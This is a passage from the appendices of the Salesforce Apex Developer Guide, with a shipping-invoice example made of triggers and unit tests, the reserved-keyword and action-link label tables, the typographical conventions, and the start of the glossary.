The minor version number of a package version.intminorNumber
The unique namespace of the managed package.stringnamespace
2769
PackageVersionHeaderSOAP API and SOAP Headers for Apex
APPENDIX B Shipping Invoice Example
This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.
•Shipping Invoice Example Walk-Through
•Shipping Invoice Example Code
Shipping Invoice Example Walk-Through
The sample application in this section includes traditional Salesforce functionality blended with Apex. Many of the syntactic and semantic
features of Apex, along with common idioms, are illustrated in this application.
Note: The Shipping Invoice sample requires custom objects. You can either create these on your own, or download the objects
and Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the
Apex Tutorials Package. This package also contains sample code and objects for the Apex Quick Start.
Scenario
In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for
the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.
Data and Code Models
This sample application uses two new objects: Item and Shipping_invoice.
The following assumptions are made:
•Item A cannot be in both orders shipping_invoice1 and shipping_invoice2. Two customers cannot obtain the same (physical)
product.
•The tax rate is 9.25%.
•The shipping rate is 75 cents per pound.
•Once an order is over $100, the shipping discount is applied (shipping becomes free).
The fields in the Item custom object include:
DescriptionTypeName
The name of the itemStringName
The price of the itemCurrencyPrice
The number of items in the orderNumberQuantity
The weight of the item, used to calculate shipping costsNumberWeight
2770
DescriptionTypeName
The order this item is associated withMaster-Detail (shipping_invoice)Shipping_invoice
The fields in the Shipping_invoice custom object include:
DescriptionTypeName
The name of the shipping invoice/orderStringName
The subtotalCurrencySubtotal
The total amount, including tax and shippingCurrencyGrandTotal
The amount charged for shipping (assumes $0.75 per pound)CurrencyShipping
Only applied once when subtotal amount reaches $100CurrencyShippingDiscount
The amount of tax (assumes 9.25%)CurrencyTax
The total weight of all itemsNumberTotalWeight
All of the Apex for this application is contained in triggers. This application has the following triggers:
DescriptionWhen RunsTrigger NameObject
Updates the shipping invoice, calculates the totals and
shipping
after insert, after update, after deleteCalculateItem
Updates the shipping invoice, calculating if there is a
shipping discount
after updateShippingDiscountShipping_invoice
The following is the general flow of user actions and when triggers run:
2771
Shipping Invoice Example Walk-ThroughShipping Invoice Example
Flow of user action and triggers for the shopping cart application
1. User clicks Orders > New, names the shipping invoice and clicks Save.
2. User clicks New Item, fills out information, and clicks Save.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.
In Shipping Invoice Example Code both of the triggers and the test class are listed. The comments in the code explain the functionality.
Testing the Shipping Invoice Application
Before an application can be included as part of a package, 75% of the code must be covered by unit tests. Therefore, one piece of the
shipping invoice application is a class used for testing the triggers.
The test class verifies the following actions are completed successfully:
•Inserting items
•Updating items
•Deleting items
•Applying shipping discount
•Negative test for bad input
2772
Shipping Invoice Example Walk-ThroughShipping Invoice Example
Shipping Invoice Example Code
The following triggers and test class make up the shipping invoice example application:
•Calculate trigger
•ShippingDiscount trigger
•Test class
Calculate Trigger
trigger calculate on Item__c (after insert, after update, after delete) {
// Use a map because it doesn't allow duplicate values
Map<ID, Shipping_Invoice__C> updateMap = new Map<ID, Shipping_Invoice__C>();
// Set this integer to -1 if we are deleting
Integer subtract ;
// Populate the list of items based on trigger type
List<Item__c> itemList;
if(trigger.isInsert || trigger.isUpdate){
itemList = Trigger.new;
subtract = 1;
}
else if(trigger.isDelete)
{
// Note -- there is no trigger.new in delete
itemList = trigger.old;
subtract = -1;
}
// Access all the information we need in a single query
// rather than querying when we need it.
// This is a best practice for bulkifying requests
set<Id> AllItems = new set<id>();
for(item__c i :itemList){
// Assert numbers are not negative.
// None of the fields would make sense with a negative value
System.assert(i.quantity__c > 0, 'Quantity must be positive');
System.assert(i.weight__c >= 0, 'Weight must be non-negative');
System.assert(i.price__c >= 0, 'Price must be non-negative');
// If there is a duplicate Id, it won't get added to a set
AllItems.add(i.Shipping_Invoice__C);
}
// Accessing all shipping invoices associated with the items in the trigger
List<Shipping_Invoice__C> AllShippingInvoices = [SELECT Id, ShippingDiscount__c,
2773
Shipping Invoice Example CodeShipping Invoice Example
SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
FROM Shipping_Invoice__C WHERE Id IN :AllItems];
// Take the list we just populated and put it into a Map.
// This will make it easier to look up a shipping invoice
// because you must iterate a list, but you can use lookup for a map,
Map<ID, Shipping_Invoice__C> SIMap = new Map<ID, Shipping_Invoice__C>();
for(Shipping_Invoice__C sc : AllShippingInvoices)
{
SIMap.put(sc.id, sc);
}
// Process the list of items
if(Trigger.isUpdate)
{
// Treat updates like a removal of the old item and addition of the
// revised item rather than figuring out the differences of each field
// and acting accordingly.
// Note updates have both trigger.new and trigger.old
for(Integer x = 0; x < Trigger.old.size(); x++)
{
Shipping_Invoice__C myOrder;
myOrder = SIMap.get(trigger.old[x].Shipping_Invoice__C);
// Decrement the previous value from the subtotal and weight.
myOrder.SubTotal__c -= (trigger.old[x].price__c *
trigger.old[x].quantity__c);
myOrder.TotalWeight__c -= (trigger.old[x].weight__c *
trigger.old[x].quantity__c);
// Increment the new subtotal and weight.
myOrder.SubTotal__c += (trigger.new[x].price__c *
trigger.new[x].quantity__c);
myOrder.TotalWeight__c += (trigger.new[x].weight__c *
trigger.new[x].quantity__c);
}
for(Shipping_Invoice__C myOrder : AllShippingInvoices)
{
// Set tax rate to 9.25% Please note, this is a simple example.
// Generally, you would never hard code values.
// Leveraging Custom Settings for tax rates is a best practice.
// See Custom Settings in the Apex Developer Guide
// for more information.
myOrder.Tax__c = myOrder.Subtotal__c * .0925;
// Reset the shipping discount
myOrder.ShippingDiscount__c = 0;
// Set shipping rate to 75 cents per pound.
// Generally, you would never hard code values.
// Leveraging Custom Settings for the shipping rate is a best practice.
2774
Shipping Invoice Example CodeShipping Invoice Example
// See Custom Settings in the Apex Developer Guide
// for more information.
myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
myOrder.Shipping__c;
updateMap.put(myOrder.id, myOrder);
}
}
else
{
for(Item__c itemToProcess : itemList)
{
Shipping_Invoice__C myOrder;
// Look up the correct shipping invoice from the ones we got earlier
myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
myOrder.SubTotal__c += (itemToProcess.price__c *
itemToProcess.quantity__c * subtract);
myOrder.TotalWeight__c += (itemToProcess.weight__c *
itemToProcess.quantity__c * subtract);
}
for(Shipping_Invoice__C myOrder : AllShippingInvoices)
{
// Set tax rate to 9.25% Please note, this is a simple example.
// Generally, you would never hard code values.
// Leveraging Custom Settings for tax rates is a best practice.
// See Custom Settings in the Apex Developer Guide
// for more information.
myOrder.Tax__c = myOrder.Subtotal__c * .0925;
// Reset shipping discount
myOrder.ShippingDiscount__c = 0;
// Set shipping rate to 75 cents per pound.
// Generally, you would never hard code values.
// Leveraging Custom Settings for the shipping rate is a best practice.
// See Custom Settings in the Apex Developer Guide
// for more information.
myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
myOrder.Shipping__c;
updateMap.put(myOrder.id, myOrder);
}
}
// Only use one DML update at the end.
// This minimizes the number of DML requests generated from this trigger.
update updateMap.values();
}
2775
Shipping Invoice Example CodeShipping Invoice Example
ShippingDiscount Trigger
trigger ShippingDiscount on Shipping_Invoice__C (before update) {
// Free shipping on all orders greater than $100
for(Shipping_Invoice__C myShippingInvoice : Trigger.new)
{
if((myShippingInvoice.subtotal__c >= 100.00) &&
(myShippingInvoice.ShippingDiscount__c == 0))
{
myShippingInvoice.ShippingDiscount__c =
myShippingInvoice.Shipping__c * -1;
myShippingInvoice.GrandTotal__c += myShippingInvoice.ShippingDiscount__c;
}
}
}
Shipping Invoice Test
@IsTest
private class TestShippingInvoice{
// Test for inserting three items at once
public static testmethod void testBulkItemInsert(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
// Insert the order and populate with items
insert Order1;
List<Item__c> list1 = new List<Item__c>();
Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
list1.add(item1);
list1.add(item2);
list1.add(item3);
insert list1;
// Retrieve the order, then do assertions
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
grandtotal__c, shippingdiscount__c
FROM Shipping_Invoice__C
WHERE id = :order1.id];
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
2776
Shipping Invoice Example CodeShipping Invoice Example
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
}
// Test for updating three items at once
public static testmethod void testBulkItemUpdate(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
// Insert the order and populate with items.
insert Order1;
List<Item__c> list1 = new List<Item__c>();
Item__c item1 = new Item__C(Price__c = 1, weight__c = 1, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 2, weight__c = 2, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 4, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
list1.add(item1);
list1.add(item2);
list1.add(item3);
insert list1;
// Update the prices on the 3 items
list1[0].price__c = 10;
list1[1].price__c = 25;
list1[2].price__c = 40;
update list1;
// Access the order and assert items updated
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
grandtotal__c, shippingdiscount__c
FROM Shipping_Invoice__C
WHERE Id = :order1.Id];
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
2777
Shipping Invoice Example CodeShipping Invoice Example
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was '
+ order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
}
// Test for deleting items
public static testmethod void testBulkItemDelete(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
// Insert the order and populate with items
insert Order1;
List<Item__c> list1 = new List<Item__c>();
Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c itemA = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c itemB = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c itemC = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c itemD = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
Shipping_Invoice__C = order1.id);
list1.add(item1);
list1.add(item2);
list1.add(item3);
list1.add(itemA);
list1.add(itemB);
list1.add(itemC);
list1.add(itemD);
insert list1;
// Seven items are now in the shipping invoice.
// The following deletes four of them.
List<Item__c> list2 = new List<Item__c>();
list2.add(itemA);
2778
Shipping Invoice Example CodeShipping Invoice Example
list2.add(itemB);
list2.add(itemC);
list2.add(itemD);
delete list2;
// Retrieve the order and verify the deletion
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
grandtotal__c, shippingdiscount__c
FROM Shipping_Invoice__C
WHERE Id = :order1.Id];
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
}
// Testing free shipping
public static testmethod void testFreeShipping(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
// Insert the order and populate with items.
insert Order1;
List<Item__c> list1 = new List<Item__c>();
Item__c item1 = new Item__C(Price__c = 10, weight__c = 1,
quantity__c = 1, Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = 2,
quantity__c = 1, Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3,
quantity__c = 1, Shipping_Invoice__C = order1.id);
list1.add(item1);
list1.add(item2);
list1.add(item3);
insert list1;
// Retrieve the order and verify free shipping not applicable
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
grandtotal__c, shippingdiscount__c
FROM Shipping_Invoice__C
2779
Shipping Invoice Example CodeShipping Invoice Example
WHERE Id = :order1.Id];
// Free shipping not available on $75 orders
System.assert(order1.subtotal__c == 75,
'Order subtotal was not $75, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
'Order shipping discount was not $0 but was '
+ order1.shippingdiscount__c);
// Add items to increase subtotal
item1 = new Item__C(Price__c = 25, weight__c = 20, quantity__c = 1,
Shipping_Invoice__C = order1.id);
insert item1;
// Retrieve the order and verify free shipping is applicable
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
grandtotal__c, shippingdiscount__c
FROM Shipping_Invoice__C
WHERE Id = :order1.Id];
// Order total is now at $100, so free shipping should be enabled
System.assert(order1.subtotal__c == 100,
'Order subtotal was not $100, but was '+ order1.subtotal__c);
System.assert(order1.tax__c == 9.25,
'Order tax was not $9.25, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 19.50,
'Order shipping was not $19.50, but was '
+ order1.shipping__c);
System.assert(order1.totalweight__c == 26.00,
'Order weight was not 26 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 109.25,
'Order grand total was not $86.4375 but was '
+ order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == -19.50,
'Order shipping discount was not -$19.50 but was '
+ order1.shippingdiscount__c);
}
// Negative testing for inserting bad input
public static testmethod void testNegativeTests(){
// Create the shipping invoice. It's a best practice to either use defaults
// or to explicitly set all values to zero so as to avoid having
// extraneous data in your test.
Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
2780
Shipping Invoice Example CodeShipping Invoice Example
totalweight__c = 0, grandtotal__c = 0,
ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);
// Insert the order and populate with items.
insert Order1;
Item__c item1 = new Item__C(Price__c = -10, weight__c = 1, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = -2, quantity__c = 1,
Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = -1,
Shipping_Invoice__C = order1.id);
Item__c item4 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 0,
Shipping_Invoice__C = order1.id);
try{
insert item1;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Price must be non-negative'),
'Price was negative but was not caught');
}
try{
insert item2;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Weight must be non-negative'),
'Weight was negative but was not caught');
}
try{
insert item3;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Quantity must be positive'),
'Quantity was negative but was not caught');
}
try{
insert item4;
}
catch(Exception e)
{
system.assert(e.getMessage().contains('Quantity must be positive'),
'Quantity was zero but was not caught');
}
}
}
2781
Shipping Invoice Example CodeShipping Invoice Example
APPENDIX C Reserved Keywords
The following words can only be used as keywords.
Note: Keywords marked with an asterisk (*) are reserved for future use.
Table 5: Reserved Keywords
retrieve*having*abstract
returnhint*activate*
returning*ifand
rollbackimplementsany*
savepointimport*array
search*inner*as
selectinsertasc
setinstanceofautonomous*
short*interfacebegin*
sortinto*bigdecimal*
stat*intblob
staticjoin*break
superlast_90_daysbulk
switch*last_monthby
synchronized*last_n_daysbyte*
systemlast_weekcase*
testmethodlikecast*
then*limitcatch
thislistchar*
this_month*longclass
this_weekloop*collect*
throwmapcommit
todaymergeconst*
tolabelnewcontinue
tomorrownext_90_daysconvertcurrency
transaction*next_monthdecimal
2782
triggernext_n_daysdefault*
truenext_weekdelete
trynotdesc
type*nulldo
undeletenullselse
updatenumber*end*
upsertobject*enum
usingof*exception
virtualonexit*
webserviceorexport*
when*outer*extends
whereoverridefalse
whilepackagefinal
parallel*finally yesterday
pragma*float*
privatefor
protectedfrom
future public
global
goto*
group*
The following are special types of keywords that aren't reserved words and can be used as identifiers.
•after
•before
•count
•excludes
•first
•includes
•last
•order
•sharing
•with
2783
Reserved Keywords
APPENDIX D Action Links Labels
Use these labels for action link buttons.
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
Specify the key in the labelKey property of the Action Link Definition Input request body. When the action link is rendered, the UI
uses labels for the “New,” “Pending,” “Success,” and “Failed” states as needed.
Tip: If none of the predefined labels work for your action link, use a custom label. To use a custom label, create an action link
template and define the label in the template. See Action Link Templates.
FailedSuccessPendingNewKey
Acceptance FailedAcceptedAcceptance PendingAcceptAccept
Activation FailedActivatedActivation PendingActivateActivate
Add FailedAddedAdd PendingAddAdd
Add to Calendar FailedAdded to CalendarAdd to Calendar PendingAdd to CalendarAdd to Calendar
Add FailedAddedAdd PendingAdd to CartAdd to Cart
Agree FailedAgreeAgree PendingAgreeAgree
Alert FailedAlertedAlert PendingAlertAlert
Answer FailedAnsweredAnswer PendingAnswerAnswer
Approval FailedApprovedApproval PendingApproveApprove
Assign FailedAssignedAssign PendingAssignAssign
Assistance FailedAssistedAssistance PendingAssistAssist
Attach FailedAttachedAttach PendingAttachAttach
Authorization FailedAuthorizedAuthorization PendingAuthorizeAuthorize
Begin FailedStartedBegin PendingBeginBegin
Book FailedBookedBook PendingBookBook
Buy FailedBoughtBuy PendingBuyBuy
Call FailedCalledCall PendingCallCall
2784
FailedSuccessPendingNewKey
Call FailedCall SucceededCall PendingCall MeCall Me
Certification FailedCertifiedCertifcation PendingCertifyCertify
Change FailedChangedChange PendingChangeChange
Chat FailedChat CompletedChat PendingChatChat
Check FailedCheckedCheck PendingCheckCheck
Clear FailedClearClear PendingClearClear
Clone FailedClonedClone PendingCloneClone
Close FailedClosedClose PendingCloseClose
Confirmation FailedConfirmedConfirmation PendingConfirmConfirm
Convert FailedConvertedConvert PendingConvertConvert
Lead Conversion FailedLead ConvertedLead Conversion PendingConvert a LeadConvert a Lead
Create FailedCreatedCreate PendingCreateCreate
Deactivation FailedDeactivatedDeactivation PendingDeactivateDeactivate
Decline FailedDeclinedDecline PendingDeclineDecline
Delete FailedDeletedDelete PendingDeleteDelete
Denial FailedDeniedDenial PendingDenyDeny
Detach FailedDetachedDetach PendingDetachDetach
Disagree FailedDisagreeDisagree PendingDisagreeDisagree
Dislike FailedDislikedDislike PendingDislikeDislike
Dismissal FailedDismissedDismissal PendingDismissDismiss
Do Response FailedDoDo Response PendingDoDo
Donation FailedDonatedDonation PendingDonateDonate
Down Response FailedDownDown Response PendingDownDown
Download FailedDownloadedDownload PendingDownloadDownload
Edit FailedEditedEdit PendingEditEdit
End FailedEndedEnd PendingEndEnd
Endorsement FailedEndorsedEndorsement PendingEndorseEndorse
Enter FailedEnteredEnter PendingEnterEnter
Escalation FailedEscalatedEscalation PendingEscalateEscalate
Estimate FailedEstimateEstimate PendingEstimateEstimate
2785
Action Links Labels
FailedSuccessPendingNewKey
Exclude FailedExcludedExclude PendingExcludeExclude
Exit FailedExitedExit PendingExitExit
Export FailedExportedExport PendingExportExport
File FailedFiledFile PendingFileFile
Fill FailedFilledFill PendingFillFill
Finish FailedFinishedFinish PendingFinishFinish
Flag FailedFlaggedFlag PendingFlagFlag
Flip FailedFlippedFlip PendingFlipFlip
Follow FailedFollowedFollow PendingFollowFollow
Generate FailedGeneratedGenerate PendingGenerateGenerate
Give FailedGivenGive PendingGiveGive
Help FailedHelpedHelp PendingHelpHelp
Hide FailedHiddenHide PendingHideHide
High Response FailedHighHigh Response PendingHighHigh
Hold FailedHold SucceededHold PendingHoldHold
Import FailedImportedImport PendingImportImport
Include FailedIncludedInclude PendingIncludeInclude
Join FailedJoinedJoin PendingJoinJoin
Launch FailedLaunchedLaunch PendingLaunchLaunch
Leave FailedLeftLeave PendingLeaveLeave
Like FailedLikedLike PendingLikeLike
List FailedListedList PendingListList
Log FailedLoggedLog PendingLogLog
Log a Call FailedLogged a CallLog a Call PendingLog a CallLog a Call
Low Response FailedLowLow Response PendingLowLow
Mark FailedMarkedMark PendingMarkMark
Maybe Response FailedMaybeMaybe Response PendingMaybeMaybe
Medium Response FailedMediumMedium Response
Pending
MediumMedium
Meet FailedMeetMeet PendingMeetMeet
Message FailedMessageMessage PendingMessageMessage
2786
Action Links Labels
FailedSuccessPendingNewKey
Move FailedMovedMove PendingMoveMove
Negative Response FailedNegativeNegative Response
Pending
NegativeNegative
New FailedNewNew PendingNewNew
No Response FailedNoNo Response PendingNoNo
OK Response FailedOKOK Response PendingOKOK
Open FailedOpenedOpen PendingOpenOpen
Order FailedOrderedOrder PendingOrderOrder
Positive Response FailedPositivePositive Response
Pending
PositivePositive
Post FailedPostedPost PendingPostPost
Post FailedPostedPost PendingPost ReviewPost Review
Process FailedProcessedProcess PendingProcessProcess
Provide FailedProvidedProvide PendingProvideProvide
Purchase FailedPurchasedPurchase PendingPurchasePurchase
Quote FailedQuotedQuote PendingQuoteQuote
Receive FailedReceivedReceive PendingReceiveReceive
Recommend FailedRecommendedRecommend PendingRecommendRecommend
Redo Response FailedRedoRedo Response PendingRedoRedo
Refresh FailedRefreshedRefresh PendingRefreshRefresh
Rejection FailedRejectedRejection PendingRejectReject
Release FailedReleasedRelease PendingReleaseRelease
Reminder FailedRemindedReminder PendingRemindRemind
Removal FailedRemovedRemoval PendingRemoveRemove
Repeat FailedRepeatedRepeat PendingRepeatRepeat
Report FailedReportedReport PendingReportReport
Request FailedRequestedRequest PendingRequestRequest
Reservation FailedReservedReservation PendingReserveReserve
Resolve FailedResolvedResolve PendingResolveResolve
Response FailedRespondedResponse PendingRespondRespond
Restore FailedRestoredRestore PendingRestoreRestore
2787
Action Links Labels
FailedSuccessPendingNewKey
Review FailedReviewedReview PendingReviewReview
Revision FailedRevisedRevision PendingReviseRevise
Save FailedSavedSave PendingSaveSave
Schedule FailedScheduledSchedule PendingScheduleSchedule
Sell FailedSoldSell PendingSellSell
Send FailedSentSend PendingSendSend
Send Email FailedEmail SentSend Email PendingSend EmailSend Email
Share FailedSharedShare PendingShareShare
Shipment FailedShippedShipment PendingShipShip
Show FailedShownShow PendingShowShow
Start FailedStartedStart PendingStartStart
Stop FailedStoppedStop PendingStopStop
Submit FailedSubmittedSubmit PendingSubmitSubmit
Subscribe FailedSubscribedSubscribe PendingSubscribeSubscribe
Test FailedTestedTest PendingTestTest
Thanks FailedThankedThanks PendingThankThank
Unauthorization FailedUnauthorizedUnauthorization PendingUnauthorizeUnauthorize
Uncheck FailedUncheckedUncheck PendingUncheckUncheck
Undo Response FailedUndoUndo Response PendingUndoUndo
Unflag FailedUnflaggedUnflag PendingUnflagUnflag
Unfollow FailedUnfollowedUnfollow PendingUnfollowUnfollow
Unlike FailedUnlikedUnlike PendingUnlikeUnlike
Unmark FailedUnmarkedUnmark PendingUnmarkUnmark
Unsubscribe FailedUnsubscribedUnsubscribe PendingUnsubscribeUnsubscribe
Up Response FailedUpUp Response PendingUpUp
Update FailedUpdatedUpdate PendingUpdateUpdate
Validate FailedValidatedValidate PendingValidateValidate
Verify FailedVerifiedVerify PendingVerifyVerify
View FailedViewedView PendingViewView
Visit FailedVisit SuccessfulVisit PendingVisitVisit
2788
Action Links Labels
FailedSuccessPendingNewKey
Yes Response FailedYesYes Response PendingYesYes
2789
Action Links Labels
APPENDIX E Documentation Typographical Conventions
Apex and Visualforce documentation uses the following typographical conventions.
DescriptionConvention
In descriptions of syntax, monospace font indicates items that you should type as shown,
except for brackets. For example:
Public class HelloWorld
Courier font
In descriptions of syntax, italics represent variables. You supply the actual value. In the following
example, three values need to be supplied: datatype variable_name [ = value];
If the syntax is bold and italic, the text represents a code element that needs a value supplied
by you, such as a class name or variable value:
public static class YourClassHere { ... }
Italics
In code samples and syntax descriptions, bold courier font emphasizes a portion of the code
or syntax.
Bold Courier font
In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact">
< >
<apex:column value="{!contact.Name}"/>
<apex:column value="{!contact.MailingCity}"/>
<apex:column value="{!contact.Phone}"/>
</apex:pageBlockTable>
In descriptions of syntax, braces ({ }) are typed exactly as shown.
<apex:page>
Hello {!$User.FirstName}!
</apex:page>
{ }
In descriptions of syntax, anything included in brackets is optional. In the following example,
specifying value is optional:
data_type variable_name [=value];
[ ]
2790
DescriptionConvention
In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all).
In the following example, you can create a new unpopulated set in one of two ways, or you
can populate the set:
Set<data_type>set_name
[= new Set<data_type>();] |
|
[= new Set<data_type{value [, value2. . .] };] |
;
2791
Documentation Typographical Conventions
GLOSSARY
A |B |C |D |E |F |G |H |I |J | L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z
A
Administrator (System Administrator)
One or more individuals in your organization who can configure and customize the application. Users assigned to the System
Administrator profile have administrator privileges.
AJAX Toolkit
A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission to view from
within JavaScript code. For more information, see the AJAX Toolkit Developer's Guide.
Anti-Join
An anti-join is a subquery on another object in a NOT IN clause in a SOQL query. You can use anti-joins to create advanced queries.
See also Semi-Join.
Anonymous Block, Apex
Apex code that does not get stored in Salesforce, but that can be compiled and executed through the use of the
ExecuteAnonymousResult() API call, or the equivalent in the AJAX Toolkit.
Apex
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and
acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks,
related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
Apex Connector Framework
The Apex Connector Framework is a set of classes and methods in the DataSource namespace for creating a custom adapter for
Salesforce Connect. Create a custom adapter to connect to data that’s stored outside your Salesforce org when the other available
Salesforce Connect adapters aren’t suitable for your needs.
Apex-Managed Sharing
Enables developers to programmatically manipulate sharing to support their application’s behavior. Apex-managed sharing is only
available for custom objects.
Apex Page
See Visualforce Page.
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific
business need. Salesforce provides standard apps such as Sales and Service. You can customize the standard apps to match the way
you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom
fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.
AppExchange
The AppExchange is a sharing interface from Salesforce that allows you to browse and share apps and services for the Force.com
platform.
2792
Application Programming Interface (API)
The interface that a computer system, library, or application provides to allow other computer programs to request services from it
and exchange data.
Approval Process
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
who to request approval from and what to do at each point of the process.
Asynchronous Calls
